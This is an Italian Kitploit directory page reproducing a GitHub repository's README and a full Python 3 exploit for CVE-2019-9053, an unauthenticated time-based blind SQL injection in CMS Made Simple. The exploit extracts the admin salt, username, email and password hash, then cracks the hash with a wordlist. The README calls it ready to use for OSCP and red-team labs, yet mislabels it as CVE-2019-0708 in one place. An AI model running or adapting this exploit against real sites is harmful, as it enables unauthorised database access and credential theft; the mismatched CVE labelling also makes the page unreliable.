Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
-exploit-lab — Exploits Python cve-2019-9053– di HackHeart | Kitploit
Strumenti/GitHubGitHub/hackheart-tech/-exploit-lab
Password CrackingAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubhackheart-tech/-exploit-lab

-exploit-lab

Exploits Python cve-2019-9053– di HackHeart

Vedi Repository
1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

-exploit-lab

Exploit Python cve-2019-0708 – di HackHeart 🧠 Code Review e Porting - Python 2 → Python 3 Questo exploit è stato originariamente scritto in Python 2, che non è più supportato dai sistemi moderni. Per garantire la compatibilità e mantenere strumenti a prova di futuro, l'intero codebase è stato attentamente revisionato e migrato a Python 3.

🔧 Miglioramenti chiave durante il porting:

  • Aggiornate le istruzioni print alla sintassi di Python 3
  • Sostituito raw_input() con input()
  • Adattate le operazioni socket per gestire correttamente byte/str (aggiunto .decode())
  • Rimossi i metodi deprecati come xrange() e .iteritems()
  • Validata la compatibilità dello script con Python 3.8+ e le moderne distribuzioni Linux

🛡️ Questa versione mantiene intatta la logica dell'exploit garantendo:

  • Compatibilità con i lab moderni OSCP / Red Team
  • Sintassi più pulita, sicura e leggibile
  • Pronto all'uso in ambienti moderni (VS Code, Kali, Parrot OS…)

#!/usr/bin/env python3

CVE-2019-9053 - CMS Made Simple <= 2.2.9 - Unauthenticated SQL Injection

import requests import time import argparse import hashlib

parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True, help="Base target URI (e.g. http://10.10.10.100/cms)") parser.add_argument('-w', '--wordlist', help="Wordlist for cracking admin password") parser.add_argument('-c', '--crack', action='store_true', help="Crack password with wordlist")

args = parser.parse_args()

url_vuln = args.url.rstrip('/') + '/moduleinterface.php?mact=News,m1_,default,0' session = requests.Session() dictionary = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@._-$' TIME = 1

flag = True salt = '' username = '' email = '' password_hash = '' output = ""

def dump_field(field_name, table, column, condition): global flag result = "" ord_result = "" while flag: flag = False for char in dictionary: temp_result = result + char ord_temp_result = ord_result + format(ord(char), "x") print(f"[*] Trying {temp_result}") payload = f"a,b,1,5))+AND+(SELECT+SLEEP({TIME})+FROM+{table}+WHERE+{column}+LIKE+0x{ord_temp_result}25+AND+{condition})--+" start_time = time.time() session.get(url_vuln + "&m1_idlist=" + payload) if time.time() - start_time >= TIME: result = temp_result ord_result = ord_temp_result flag = True break return result

print("[+] Extracting salt...") flag = True salt = dump_field("salt", "cms_siteprefs", "sitepref_value", "sitepref_name+LIKE+0x736974656d61736b") output += f"Salt: {salt}\n"

print("[+] Extracting username...") flag = True username = dump_field("username", "cms_users", "username", "user_id+LIKE+0x31") output += f"Username: {username}\n"

print("[+] Extracting email...") flag = True email = dump_field("email", "cms_users", "email", "user_id+LIKE+0x31") output += f"Email: {email}\n"

print("[+] Extracting password hash...") flag = True password_hash = dump_field("password", "cms_users", "password", "user_id+LIKE+0x31") output += f"Hash: {password_hash}\n"

if args.crack and args.wordlist: print("[+] Cracking password...") with open(args.wordlist, 'r', encoding='utf-8', errors='ignore') as f: for line in f: word = line.strip() print(f"[*] Trying password: {word}") if hashlib.md5((salt + word).encode()).hexdigest() == password_hash: output += f"[+] Password cracked: {word}\n" break

print("\n=== Exploit Results ===") print(output)

Scarica lo strumento